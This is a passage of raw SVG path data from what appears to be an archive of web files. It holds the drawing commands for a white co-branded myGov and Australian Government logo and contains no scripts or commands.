transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/smsone_files/myGov-cobranded-logo-white.svg000064400000175214151676702570017022 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" 